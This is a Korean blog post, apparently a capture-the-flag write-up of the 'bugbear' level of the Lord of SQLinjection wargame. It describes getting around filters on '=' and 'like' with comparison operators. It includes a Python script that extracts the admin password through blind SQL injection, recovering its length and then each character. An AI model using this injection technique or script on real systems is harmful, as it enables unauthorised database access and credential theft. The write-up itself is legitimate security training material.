LOS(los.rubiya.kr) bugbear
Blind SQLi 인데 파라미터가 하나 더 추가 됐고 필터링도 조금 추가됐습니다. 여기서 좀 고생을 했는데.. 기존엔 계속 id='admin'을 쓰다가 필터링으로 인해 그걸 쓰지 못해서 어떻게 해야하나 고민하느라 시간이 좀 걸렸습니다. 일단 no로 admin을 특정할 수 있는데 =도 안되고 like도 안됩니다. ㅠㅠ 그래서 비교연산자(<, >)를 이용해서 풀었습니다. 예를들면 no=2가 admin인데 no>1 && no<3 이런식으로 no=2를 지정했습니다. length와 mid도 마찬가지.
...더보기
import urllib2
import requests
flag = ""
length = 0
i = 1
session = dict(PHPSESSID = "qt55vvaetoc7mrikuq8qjmopr5")
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw="
while True:
q = url + "1&no=1||no>1%26%26no<3%26%26length(pw)>"+str(i-1)+"%26%26length(pw)<"+str(i+1)+"%23"
print 'TEST #',i
print q
r = requests.post(q, cookies=session)
if "Hello admin" in r.text:
length = i
break
i = i + 1
print " PASSWORD LENGTH : ", length
for j in range(1, length +1):
for i in range(48,123):
q = url + "1&no=1||no>1%26%26no<3%26%26mid(pw,"+str(j)+",1)>"+"\""+chr(i-1)+"\"%26%26mid(pw,"+str(j)+",1)<"+"\""+chr(i+1)+"\"%23"
print 'TEST #', j, '-', i
print q
r = requests.post(q,cookies=session)
if 'Hello admin' in r.text:
flag += chr(i)
print "FLAG : ",flag
break
'Web Hacking > los.rubiya.kr' 카테고리의 다른 글
[Lord of SQLinjection] Assassin (0) | 2019.08.26 |
---|---|
[Lord of SQLinjection] Giant (0) | 2019.08.26 |
[Lord of SQLinjection] Darkknight (0) | 2019.08.26 |
[Lord of SQLinjection] Golem (0) | 2019.08.26 |
[Lord of SQLinjection] Skeleton (0) | 2019.08.18 |